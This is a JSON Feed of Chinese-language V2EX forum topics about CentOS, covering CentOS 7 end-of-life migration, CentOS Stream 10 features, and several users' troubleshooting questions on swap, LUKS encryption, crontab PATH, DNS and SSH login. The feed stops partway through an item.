{
  "version": "https://jsonfeed.org/version/1", 
  "title": "CentOS", 
  "description": "CentOS is an Enterprise-class Linux Distribution derived from sources freely provided to the public by a prominent North American Enterprise Linux vendor.", 
  "home_page_url": "https://www.v2ex.com/go/centos", 
  "feed_url": "https://www.v2ex.com/feed/centos.json", 
  "icon": "https://cdn.v2ex.com/navatar/250c/f8b5/456_large.png?m=1520822127", 
  "favicon": "https://cdn.v2ex.com/navatar/250c/f8b5/456_normal.png?m=1520822127", 
  "items": [
    {
      "author": {
        "url": "https://www.v2ex.com/member/simple2025", 
        "name": "simple2025", 
        "avatar": "https://cdn.v2ex.com/gravatar/d8be1ee891483e0287a7350aae996608?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1122401", 
      "title": "vscode \u7684 remote-ssh \u8fd8\u652f\u6301 centos7 \u5417?", 
      "id": "https://www.v2ex.com/t/1122401", 
      "date_published": "2025-03-31T13:11:20+00:00", 
      "content_html": "<p>\u7a81\u7136\u6709\u9700\u6c42,\u8981\u5207\u56de centos7 \u4e86,\u672c\u6765\u90fd\u7528 debian11 \u597d\u4e45\u4e86.</p>\n<p>\u5982\u679c\u4e0d\u662f\u6ca1\u6709\u5fc5\u8981,\u771f\u7684\u4e0d\u60f3\u7528 centos7,\u4f46\u662f\u6ca1\u6709\u529e\u6cd5.</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/alanying", 
        "name": "alanying", 
        "avatar": "https://cdn.v2ex.com/avatar/8a47/461b/175093_large.png?m=1765461081"
      }, 
      "url": "https://www.v2ex.com/t/1097856", 
      "date_modified": "2024-12-16T05:40:15+00:00", 
      "content_html": "<p>CentOS Stream 10 \uff08\u4ee3\u53f7 \"Coughlan\"\uff09\u73b0\u5df2\u6b63\u5f0f\u53d1\u5e03\uff01\u4f5c\u4e3a CentOS \u9879\u76ee\u7684\u6700\u65b0\u7248\u672c\uff0c\u5b83\u4e3a\u6211\u4eec\u5e26\u6765\u4e86\u4f17\u591a\u65b0\u7279\u6027\u548c\u6539\u8fdb\u3002\u4ee5\u4e0b\u662f\u4e00\u4e9b\u4eae\u70b9\uff1a</p>\n<p><strong>\u4e3b\u8981\u67b6\u6784\u652f\u6301\uff1a</strong></p>\n<ul>\n<li>\ud83d\udda5\ufe0f AMD/Intel 64 \u4f4d\uff08 x86_64_v3 \uff09</li>\n<li>\ud83d\udcf1 ARM 64 \u4f4d\uff08 ARMv8.0-A \uff09</li>\n<li>\ud83d\udda5\ufe0f IBM Power \uff08 POWER9 \uff09</li>\n<li>\ud83d\udda5\ufe0f IBM Z \uff08 z14 \uff09</li>\n</ul>\n<p><strong>\u6838\u5fc3\u7ec4\u4ef6\u66f4\u65b0\uff1a</strong></p>\n<ul>\n<li>\ud83d\udc27 \u5185\u6838\uff1aLinux 6.12</li>\n<li>\n\u7f16\u7a0b\u8bed\u8a00\u548c\u7f16\u8bd1\u5668\uff1a<ul>\n<li>\ud83d\udc0d Python 3.12</li>\n<li>\ud83d\udee0\ufe0f GCC 14</li>\n<li>\ud83d\udc39 Go 1.23</li>\n<li>\ud83e\udd80 Rust 1.82</li>\n<li>\ud83e\udde0 LLVM 19</li>\n<li>\ud83d\udc8e Ruby 3.3</li>\n<li>\ud83d\udfe2 Node.js 22</li>\n<li>\ud83d\udc18 PHP 8.3</li>\n<li>\u2615 OpenJDK 21</li>\n</ul>\n</li>\n<li>\nWeb \u670d\u52a1\u5668\uff1a<ul>\n<li>\ud83c\udf10 Apache HTTP Server 2.4.62</li>\n<li>\ud83d\ude80 nginx 1.26</li>\n</ul>\n</li>\n<li>\n\u6570\u636e\u5e93\uff1a<ul>\n<li>\ud83d\udc18 PostgreSQL 16</li>\n<li>\ud83d\udc2c MariaDB 10.11</li>\n<li>\ud83d\udc2c MySQL 8.4</li>\n<li>\ud83d\udd11 Valkey 7.2 \uff08\u66ff\u4ee3 Redis \uff09</li>\n</ul>\n</li>\n<li>\n\u684c\u9762\u6280\u672f\uff1a<ul>\n<li>\ud83d\udda5\ufe0f GNOME 47</li>\n<li>\ud83d\udcda Qt 6.7</li>\n</ul>\n</li>\n<li>\n\u8f6f\u4ef6\u7ba1\u7406\uff1a<ul>\n<li>\ud83d\udce6 DNF 4.20</li>\n<li>\ud83d\udce6 RPM 4.19</li>\n</ul>\n</li>\n</ul>\n<p><strong>\u91cd\u8981\u53d8\u66f4\uff1a</strong></p>\n<ul>\n<li>\u274c <strong>Xorg \u670d\u52a1\u5668\u79fb\u9664</strong>\uff1a\u9ed8\u8ba4\u4f7f\u7528 Wayland \uff0cXwayland \u4f5c\u4e3a\u517c\u5bb9\u5c42\u3002</li>\n<li>\u274c <strong>\u684c\u9762\u5e94\u7528\u7a0b\u5e8f\u79fb\u9664</strong>\uff1a\u5982 Firefox \u3001GIMP \u3001LibreOffice \u7b49\u3002\u5efa\u8bae\u901a\u8fc7 Flathub \u6216 EPEL \u83b7\u53d6\u6240\u9700\u5e94\u7528\u3002</li>\n<li>\ud83d\udd04 <strong>Redis \u88ab Valkey \u53d6\u4ee3</strong>\uff1aValkey \u662f Redis \u7684\u4e00\u4e2a\u5206\u652f\u3002</li>\n</ul>\n<p><strong>\u5df2\u77e5\u95ee\u9898\uff1a</strong></p>\n<ul>\n<li>\u26a0\ufe0f <strong>Secure Boot</strong>\uff1a\u5f53\u524d\u7248\u672c\u5728\u542f\u7528 Secure Boot \u65f6\u53ef\u80fd\u65e0\u6cd5\u6b63\u5e38\u5de5\u4f5c\u3002</li>\n</ul>\n<p>CentOS Stream 10 \u5c06\u4f5c\u4e3a\u672a\u6765 Red Hat Enterprise Linux 10 \u7684\u9884\u89c8\u7248\u672c\uff0c\u9884\u8ba1\u751f\u547d\u5468\u671f\u81f3 2030 \u5e74\u3002</p>\n", 
      "date_published": "2024-12-16T05:40:00+00:00", 
      "title": "CentOS Stream 10 \u6b63\u5f0f GA\uff0c RHEL 10 Beta \u4e5f\u4e0a\u8def\u4e86", 
      "id": "https://www.v2ex.com/t/1097856"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/lixuanyy", 
        "name": "lixuanyy", 
        "avatar": "https://cdn.v2ex.com/avatar/f8b0/ba36/346018_large.png?m=1672667052"
      }, 
      "url": "https://www.v2ex.com/t/1064271", 
      "title": "CentOS \u91c7\u7528 stream \u5347\u7ea7\u4ee5\u540e,\u771f\u7684\u4f1a\u6709\u4eba\u9009\u62e9 Rocky \u6216\u8005 Alma Linux \u5417", 
      "id": "https://www.v2ex.com/t/1064271", 
      "date_published": "2024-08-12T02:37:31+00:00", 
      "content_html": "<p>CentOS stream \u6210\u4e86\u4e0a\u6e38\u5c0f\u767d\u9f20,centos7 \u7684\u652f\u6301\u4e5f\u7ed3\u675f\u4e86,\u597d\u5947\u6709\u6ca1\u6709\u516c\u53f8\u8f6c rocky \u6216\u8005 alma \u8fd9\u4e9b\u7cfb\u7edf,\u6211\u53f8\u662f\u9009\u62e9\u8f6c Debian \u53bb\u4e86\u3002\u5f53\u65f6\u4e5f\u6709\u540c\u4e8b\u63d0\u51fa\u8f6c rocky \u6b64\u7c7b\u7cfb\u7edf,\u8fc1\u79fb\u6210\u672c\u4f4e\u3002 \u4f46\u662f\u672a\u7ecf\u65f6\u95f4\u6d4b\u8bd5\u7684\u4e1c\u897f,\u5927\u5bb6\u8fd8\u662f\u4e0d\u6562\u771f\u7684\u7528\u5728\u751f\u4ea7\u73af\u5883\u7528,\u8fd8\u662f\u653e\u5f03\u4e86\u8fd9\u4e2a\u5ff5\u5934\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Yanel", 
        "name": "Yanel", 
        "avatar": "https://cdn.v2ex.com/avatar/629a/3f6a/70417_large.png?m=1681120633"
      }, 
      "url": "https://www.v2ex.com/t/1061302", 
      "date_modified": "2024-07-30T12:01:55+00:00", 
      "content_html": "<p>\u4f17\u6240\u5468\u77e5 centos7 \u505c\u670d\uff0c\u6253\u7b97\u5c06\u4e00\u4e9b\u4e91\u865a\u62df\u673a\u8fc1\u79fb\u5230\u65b0\u7cfb\u7edf</p>\n<p>\u76ee\u524d\u76ee\u6807\u7cfb\u7edf\u6709 RHEL \uff0copeneuler \uff0c\u94f6\u6cb3\u9e92\u9e9f</p>\n<p>\u7531\u4e8e\u662f\u4e0d\u540c\u7684\u4e1a\u52a1\uff0c\u4e0d\u540c\u7684\u5e94\u7528\u5f00\u53d1\u5546\u5f00\u53d1\u7684\u7cfb\u7edf\uff0c\u6bcf\u4e2a\u5e94\u7528\u7cfb\u7edf\u4e0b\u90fd\u6709\u6570\u91cf\u4e0d\u4e00\u7684\u865a\u62df\u673a\uff0c\u6240\u4ee5\u4e09\u4e2a\u76ee\u6807\u7cfb\u7edf\u90fd\u6709\u53ef\u80fd\u8fc1\u79fb\u3002</p>\n<p>\u7531\u4e8e\u4e0d\u662f\u666e\u901a\u7684\u5982\u963f\u91cc\u4e91\u3001\u817e\u8baf\u4e91\u8fd9\u6837\u7684\u516c\u6709\u4e91\uff0c\u6240\u4ee5\u6709\u5f88\u5927\u7684\u8fc1\u79fb\u96be\u5ea6\u3002\u76ee\u524d\u6211\u60f3\u901a\u8fc7\u5e73\u6ed1\u8fc1\u79fb\u7684\u65b9\u6cd5\u5c06\u7cfb\u7edf\u8fc1\u79fb\u5230\u76ee\u6807\u7cfb\u7edf\uff0c\u5c31\u662f\u4e0d\u65b0\u88c5\u7cfb\u7edf\uff0c\u800c\u662f\u4f7f\u7528\u5de5\u5177\u8fdb\u884c\u7cfb\u7edf\u8fc1\u79fb\u3002</p>\n<p>\u6211\u67e5\u4e86\u4ece centos7 \u8fc1\u79fb\u5230\u8fd9\u4e09\u4e2a\u7cfb\u7edf\u90fd\u6709\u5b98\u65b9\u63d0\u4f9b\u7684\u8fc1\u79fb\u5de5\u5177\uff0c\u5982\u7ea2\u5e3d\u7684 conver2RHEL \uff0c\u6b27\u62c9\u7684 x2openeuler ,\u9e92\u9e9f\u7684\u4e5f\u6709\u3002</p>\n<p>\u60f3\u95ee\u4e0b\u5404\u4f4d\uff0c\u76ee\u524d\u8fd9\u6837\u7684\u8fc1\u79fb\u65b9\u6cd5\u6280\u672f\u662f\u5426\u7a33\u5b9a\u6210\u719f\uff0c\u6709\u54ea\u4e9b\u9700\u8981\u6ce8\u610f\u7684\u70b9\uff1f</p>\n<p>\u96c6\u601d\u5e7f\u76ca\uff0c\u4e5f\u80fd\u4e3a\u5927\u5bb6\u4eca\u540e\u8fc1\u79fb centos \u63d0\u524d\u8e29\u5751\u3002</p>\n<p>\u5f53\u7136\u6211\u77e5\u9053\u80fd\u7528\u7684\u7cfb\u7edf\u6700\u597d\u662f\u4e0d\u8981\u52a8\uff0c\u6211\u80af\u5b9a\u662f\u4e0d\u60f3\u80cc\u8fd9\u79cd\u9505\u3002</p>\n", 
      "date_published": "2024-07-30T11:59:27+00:00", 
      "title": "\u4f7f\u7528\u8fc1\u79fb\u5de5\u5177\u8fc1\u79fb centos7 \u4f1a\u6709\u4ec0\u4e48\u5751\uff1f", 
      "id": "https://www.v2ex.com/t/1061302"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/yfixx", 
        "name": "yfixx", 
        "avatar": "https://cdn.v2ex.com/gravatar/6138b0dbd40e3fc92a5321892282dd7a?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1053516", 
      "date_modified": "2024-06-29T05:56:16+00:00", 
      "content_html": "CentOS \u5c06\u4e8e 6 \u6708 30 \u5168\u9762\u505c\u670d\uff0c\u6211\u4e0d\u61c2 centos \u660e\u660e\u4f7f\u7528\u633a\u65b9\u4fbf\uff0c\u53c8\u4e0d\u82b1\u94b1\uff0c\u4e3a\u4ec0\u4e48\u4f1a\u505c\u670d\u3002\u6211\u4eec\u600e\u4e48\u529e\uff0c\u6211\u4eec\u4ecd\u7136\u4e0a\u7ebf centos \u7684\u670d\u52a1\u5668\u600e\u4e48\u6837\u5417\uff1f", 
      "date_published": "2024-06-29T02:47:22+00:00", 
      "title": "CentOS \u5c06\u4e8e 6 \u6708 30 \u5168\u9762\u505c\u670d\u3002", 
      "id": "https://www.v2ex.com/t/1053516"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/ezeroone", 
        "name": "ezeroone", 
        "avatar": "https://cdn.v2ex.com/gravatar/ed35554bb59865689e69e4829c66de7d?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1040398", 
      "date_modified": "2024-05-13T13:12:24+00:00", 
      "content_html": "\u6c42\u95ee available \u663e\u793a\u8fd8\u6709 6.8G \uff0c\u4e3a\u5565 Swap \u4f1a\u88ab\u7528\u5149\uff0c\u6709\u7f51\u4e0a\u7684\u6587\u7ae0\u8bf4\u8fd9\u662f swappiness \u8bbe\u7f6e\u7684\u95ee\u9898\uff0c\u4f46\u662f\u8bbe\u7f6e\u7684 swappiness \u662f 30 \uff0c6.8/15=0.43 \u8fd8\u4e0d\u5230 30 \u4e86\u3002\u3002\u6c42\u89e3<br /><br />cat /proc/sys/vm/swappiness <br />30<br /><br />[root@localhost ~]# free -h<br />              total        used        free      shared  buff/cache   available<br />Mem:            15G        7.7G        182M        670M        7.6G        6.8G<br />Swap:          1.6G        1.6G        196K<br /><br />[root@localhost ~]# cat /proc/meminfo<br />MemTotal:       16264392 kB<br />MemFree:          202556 kB<br />MemAvailable:    7150152 kB<br />Buffers:               0 kB<br />Cached:          7441640 kB<br />SwapCached:         8416 kB<br />Active:         10448388 kB<br />Inactive:        4527600 kB<br />Active(anon):    7025012 kB<br />Inactive(anon):  1195560 kB<br />Active(file):    3423376 kB<br />Inactive(file):  3332040 kB<br />Unevictable:           0 kB<br />Mlocked:               0 kB<br />SwapTotal:       1679356 kB<br />SwapFree:            244 kB<br />Dirty:                52 kB<br />Writeback:           828 kB<br />AnonPages:       7526168 kB<br />Mapped:            93996 kB<br />Shmem:            686224 kB<br />Slab:             643864 kB<br />SReclaimable:     530412 kB<br />SUnreclaim:       113452 kB<br />KernelStack:       25392 kB<br />PageTables:        79460 kB<br />NFS_Unstable:          0 kB<br />Bounce:                0 kB<br />WritebackTmp:          0 kB<br />CommitLimit:     9811552 kB<br />Committed_AS:   15227004 kB<br />VmallocTotal:   34359738367 kB<br />VmallocUsed:       35568 kB<br />VmallocChunk:   34359700252 kB<br />HardwareCorrupted:     0 kB<br />AnonHugePages:   1468416 kB<br />CmaTotal:              0 kB<br />CmaFree:               0 kB<br />HugePages_Total:       0<br />HugePages_Free:        0<br />HugePages_Rsvd:        0<br />HugePages_Surp:        0<br />Hugepagesize:       2048 kB<br />DirectMap4k:      898940 kB<br />DirectMap2M:    15878144 kB<br /><br />[root@localhost ~]# iostat -d -x -k 1 10<br />Linux 3.10.0-1062.el7.x86_64 (localhost.localdomain) \t2024 \u5e74 05 \u6708 13 \u65e5 \t_x86_64_\t(8 CPU)<br /><br />Device:         rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await r_await w_await  svctm  %util<br />sda               0.03     0.45    3.86    8.58   179.50   182.78    58.23     0.14    9.52   36.61   26.32  14.24  17.72<br />dm-0              0.00     0.00    3.87    8.95   178.92   182.45    56.37     0.14   10.93   35.07    0.48  13.81  17.71<br />dm-1              0.00     0.00    0.02    0.08     0.06     0.32     8.00     0.25 2600.87 1909.98 2733.58 130.32   1.24<br /><br />Device:         rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await r_await w_await  svctm  %util<br />sda               0.00     0.00    0.00    0.00     0.00     0.00     0.00    64.00    0.00    0.00    0.00   0.00 100.00<br />dm-0              0.00     0.00    0.00    0.00     0.00     0.00     0.00    87.00    0.00    0.00    0.00   0.00 100.00<br />dm-1              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00    0.00    0.00   0.00   0.00<br /><br />Device:         rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await r_await w_await  svctm  %util<br />sda               0.00     0.00    0.00    0.00     0.00     0.00     0.00    64.00    0.00    0.00    0.00   0.00 100.00<br />dm-0              0.00     0.00    0.00    0.00     0.00     0.00     0.00    87.00    0.00    0.00    0.00   0.00 100.00<br />dm-1              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00    0.00    0.00   0.00   0.00<br /><br />Device:         rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await r_await w_await  svctm  %util<br />sda               0.00     7.00    0.00  103.00     0.00  1562.00    30.33    29.70 17255.64    0.00 17255.64   8.30  85.50<br />dm-0              0.00     0.00    0.00   46.00     0.00   937.50    40.76    39.66 50414.85    0.00 50414.85  18.59  85.50<br />dm-1              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00    0.00    0.00   0.00   0.00<br />Device:         rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await r_await w_await  svctm  %util<br />sda               0.00     0.00    0.00    1.00     0.00    48.00    96.00    19.43 12364.00    0.00 12364.00 1000.00 100.00<br />dm-0              0.00     0.00    0.00    0.00     0.00     0.00     0.00    20.43    0.00    0.00    0.00   0.00 100.00<br />dm-1              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00    0.00    0.00   0.00   0.00<br /><br />Device:         rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await r_await w_await  svctm  %util<br />sda               0.00     0.00    0.00    0.00     0.00     0.00     0.00    19.00    0.00    0.00    0.00   0.00 100.00<br />dm-0              0.00     0.00    0.00    0.00     0.00     0.00     0.00    20.00    0.00    0.00    0.00   0.00 100.00<br />dm-1              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00    0.00    0.00   0.00   0.00<br /><br />Device:         rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await r_await w_await  svctm  %util<br />sda               0.00     1.00    0.00   34.00     0.00   342.00    20.12     9.67 1767.00    0.00 1767.00  17.00  57.80<br />dm-0              0.00     0.00    0.00   16.00     0.00   103.50    12.94    10.20 3941.44    0.00 3941.44  36.12  57.80<br />dm-1              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00    0.00    0.00   0.00   0.00<br /><br />Device:         rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await r_await w_await  svctm  %util<br />sda               0.00     0.00    0.00    5.00     0.00  1548.00   619.20     0.03    5.80    0.00    5.80   2.80   1.40<br />dm-0              0.00     0.00    0.00    5.00     0.00  1548.00   619.20     0.03    5.80    0.00    5.80   2.80   1.40<br />dm-1              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00    0.00    0.00   0.00   0.00<br /><br />Device:         rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await r_await w_await  svctm  %util<br />sda               0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00    0.00    0.00   0.00   0.00<br />dm-0              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00    0.00    0.00   0.00   0.00<br />dm-1              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00    0.00    0.00   0.00   0.00", 
      "date_published": "2024-05-13T13:11:25+00:00", 
      "title": "Linux \u5c0f\u767d\u6c42\u52a9 swap \u5360\u7528\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/1040398"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/cyrker", 
        "name": "cyrker", 
        "avatar": "https://cdn.v2ex.com/gravatar/80cd9da414503b0c7726aee6c122e175?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1015082", 
      "date_modified": "2024-02-08T14:09:59+00:00", 
      "content_html": "<p>\u5982\u9898\uff0c\u7531\u4e8e\u670d\u52a1\u5668\u5947\u602a\u7684\u95ee\u9898\u65e0\u6cd5\u8fdb\u5165\u56fe\u5f62\u5f15\u5bfc\u754c\u9762\u5b89\u88c5\u7cfb\u7edf\uff0c\u53ea\u80fd\u4f7f\u7528\u6587\u672c\u6a21\u5f0f\uff08 textmode \uff09\u8fdb\u884c\u5b89\u88c5 </p>\n<p>\u7136\u800c\u8fd8\u6709\u52a0\u5bc6\u6839\u76ee\u5f55\u7684\u9700\u6c42\uff0c\u53bb\u641c\u7d22\u4e86\u4e00\u4e0b\u76f8\u5173\u6587\u6863\u8bf4\u662f\u5bf9\u6839\u76ee\u5f55\u7684\u52a0\u5bc6\u9700\u8981\u5728\u5b89\u88c5\u7cfb\u7edf\u7684\u65f6\u5019\u8fdb\u884c </p>\n<p>\u6240\u4ee5\u6765\u6c42\u52a9\u4e00\u4e0b\u5e7f\u5927\u575b\u53cb\uff01\n\u76ee\u524d\u662f\u8fd9\u6837\u64cd\u4f5c\u7684\n\u8fdb\u5165\u6587\u672c\u6a21\u5f0f\u540e\u6309 alt+tab \u5207\u6362\u5230\u5176\u4ed6\u7ec8\u7aef\n\u4f7f\u7528</p>\n<pre><code>cryptsetup luksFormat /dev/sda2\ncryptsetup open /dev/sda2 root\n</code></pre>\n<p>\u521b\u5efa\u52a0\u5bc6\u5206\u533a\uff0c\u7136\u540e\u5207\u6362\u56de\u6587\u5b57\u5f15\u5bfc\u6a21\u5f0f\uff0c\u9009\u62e9\u5b89\u88c5\u4f4d\u7f6e\u7684\u65f6\u5019\u4f1a\u62a5\u9519\n\u62a5\u9519\u5185\u5bb9\u4e3a</p>\n<pre><code>The existing unlocked Luks device sda2 cannot be used for the installation\nwithout an encryption key specified for this device. Please, rescan the storage\n</code></pre>\n", 
      "date_published": "2024-02-08T12:49:17+00:00", 
      "title": "\u6c42\u52a9\uff0c\u5982\u4f55\u5728 Centos9 \u6587\u672c\u5b89\u88c5\u6a21\u5f0f\u4e0b\u5bf9 root \u5206\u533a\u8fdb\u884c luks \u52a0\u5bc6\uff1f", 
      "id": "https://www.v2ex.com/t/1015082"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/phpfpm", 
        "name": "phpfpm", 
        "avatar": "https://cdn.v2ex.com/gravatar/1eadc049a51aaa8bad1b87eec1c9857b?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1008854", 
      "date_modified": "2024-01-15T11:25:44+00:00", 
      "content_html": "<h1>\u9047\u5230\u7684\u95ee\u9898</h1>\n<p>\u7814\u53d1\u4fa7\u53d1\u73b0\uff0c\u4e00\u4e2a php \u811a\u672c\u53ef\u4ee5\u6b63\u5e38\u8c03\u7528<code>docker</code>(podman)\u8fdb\u884c\u4e00\u4e9b\u64cd\u4f5c\uff0c\u4f46\u662f\u7ecf\u7531 crontab \u8c03\u5ea6\u5219\u6267\u884c\u5931\u8d25</p>\n<h1>\u53ea\u8bf4\u91cd\u70b9</h1>\n<ol>\n<li>\u53d1\u884c\u7248\uff1a\u817e\u8baf\u4e91\u7684\tTencentOS Server 3.1 (TK4)</li>\n<li>\u767b\u5f55\u7684 shell \u7684 PATH \u6709<code> /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin:/root/bin</code></li>\n<li>crontab \u7684 path \u53ea\u6709<code>/usr/bin:/bin</code></li>\n<li>\u5982\u679c\u7f3a\u4e4f/usr/sbin \u4f1a\u5bfc\u81f4 podman \u542f\u52a8\u7684\u65f6\u5019\u65e0\u6cd5\u8bbf\u95ee\u5230/usr/sbin/iptables</li>\n</ol>\n<h1>\u6211\u60f3\u77e5\u9053\u7684\u95ee\u9898</h1>\n<ol>\n<li>crontab \u7684 path \u6ca1\u6709<code>/usr/sbin</code>\u5230\u5e95\u662f\u4e3a\u5565</li>\n<li>\u5728 crontab \u8c03\u5ea6 docker \u542f\u52a8\u4e00\u4e2a\u4e34\u65f6\u5bb9\u5668\u505a\u4e00\u4e9b\u4e8b\u60c5\u7684\u65f6\u5019\uff0c\u6b63\u786e\u7684\u59ff\u52bf\u662f\u4ec0\u4e48\uff1f\u624b\u52a8\u6307\u5b9a\u4e00\u4e0b path?</li>\n</ol>\n", 
      "date_published": "2024-01-15T10:12:10+00:00", 
      "title": "\u4e3a\u4ec0\u4e48 CENTOS crontab \u7684 PATH \u4e0d\u5305\u542b/usr/sbin?", 
      "id": "https://www.v2ex.com/t/1008854"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/falser101", 
        "name": "falser101", 
        "avatar": "https://cdn.v2ex.com/gravatar/aeb629d7082b7f2f166ed7da8ae0366f?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/999360", 
      "title": "Centos7 \u8d44\u6e90\u6ca1\u600e\u4e48\u5360\u7528\uff0c\u6267\u884c\u5404\u79cd\u547d\u4ee4\u90fd\u5f88\u5361\uff0c\u6c42\u5927\u4f6c\u5e2e\u5fd9\u89e3\u51b3\u4e0b", 
      "id": "https://www.v2ex.com/t/999360", 
      "date_published": "2023-12-11T05:56:47+00:00", 
      "content_html": "<p>\u5982\u9898\uff0c\u91cd\u542f\u540e\u4e5f\u6ca1\u6709\u597d\u8f6c</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/molika", 
        "name": "molika", 
        "avatar": "https://cdn.v2ex.com/gravatar/c7cd0cff61b525fc2426cd266420dd5f?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/994816", 
      "date_modified": "2023-11-24T10:50:35+00:00", 
      "content_html": "<p>\u56e0\u4e3a\u67d0\u4e9b\u4e8b\u60c5,\u8981\u66f4\u65b0\u4e0b dns,\u7136\u540e\u5728\u817e\u8baf\u4e91\u7684\u670d\u52a1\u5668\u4e0a\u6839\u636e chatgpt \u7684\u63d0\u793a \u8fdb\u884c\u4e86</p>\n<pre><code class=\"language-code\">sudo vi /etc/resolv.conf`\n\nnameserver 8.8.8.8\nnameserver 8.8.4.4\n\nsudo systemctl restart network\n</code></pre>\n<p>\u7136\u540e\u673a\u5668\u5c31\u5931\u53bb\u4e86\u94fe\u63a5,vnc \u767b\u5f55\u540e\u53d1\u73b0 network \u542f\u52a8\u5931\u8d25.\n\u641c\u7d22\u4e86\u4e0b\u76f8\u5173\u89e3\u51b3\u65b9\u6cd5,\u4e5f\u6ca1\u5904\u7406\u6389.\u5230\u73b0\u5728\u8fd8\u662f\u4e00\u5934\u96fe\u6c34.\n\u6700\u65e0\u6cd5\u7406\u89e3\u7684\u662f\u4e3a\u4f55\u66f4\u65b0\u8fd9\u4e2a 8.8.8.8/114.114.114.114 \u4f1a\u5f71\u54cd\u7f51\u7edc\u542f\u52a8?\n\u4e0d\u77e5\u9053\u6709\u6728\u6709\u77e5\u9053\u7684\u5927\u4f6c\u7ed9\u6d88\u606f\u89e3\u60d1\u4e0b.</p>\n", 
      "date_published": "2023-11-24T05:36:38+00:00", 
      "title": "centos7 \u7f51\u7edc\u65e0\u6cd5\u542f\u52a8,\u65e0\u6cd5\u7406\u89e3\u7f18\u7531", 
      "id": "https://www.v2ex.com/t/994816"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/lon91ong", 
        "name": "lon91ong", 
        "avatar": "https://cdn.v2ex.com/avatar/df8b/092d/197545_large.png?m=1738805593"
      }, 
      "url": "https://www.v2ex.com/t/992541", 
      "title": "\u6539\u5b8c root \u5bc6\u7801\u540e SSH \u65e0\u6cd5\u767b\u5f55\u4e86", 
      "id": "https://www.v2ex.com/t/992541", 
      "date_published": "2023-11-16T10:41:22+00:00", 
      "content_html": "\u5982\u9898\uff0c\u7528 passwd \u4fee\u6539 root \u5bc6\u7801\uff0c\u6539\u5b8c\u91cd\u542f\u7cfb\u7edf\uff0c\u672c\u5730\u7528\u65b0\u5bc6\u7801\u767b\u5f55\u6b63\u5e38\uff0c\u7528\u53e6\u4e00\u53f0\u7535\u8111 SSH \u767b\u5f55\u63d0\u793a\u5bc6\u7801\u9519\u8bef<br /><br />\u6539\u56de\u65e7\u5bc6\u7801\u5c31\u53ef\u4ee5\u6b63\u5e38 SSH \u767b\u5f55<br /><br /><br /><br />Linux \u65b0\u624b\uff0c\u5e0c\u671b\u5927\u4f6c\u80fd\u5728\u7ed9\u51fa\u89e3\u51b3\u529e\u6cd5\u7684\u57fa\u7840\u4e0a\uff0c\u5bf9\u8fd9\u79cd\u62a5\u9519\u60c5\u5f62\u52a0\u4ee5\u89e3\u91ca\u4e00\u4e8c"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/kokyang123", 
        "name": "kokyang123", 
        "avatar": "https://cdn.v2ex.com/gravatar/6dd6cfbc8a35ab726a24994ab6436b58?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/986426", 
      "date_modified": "2023-10-29T10:26:39+00:00", 
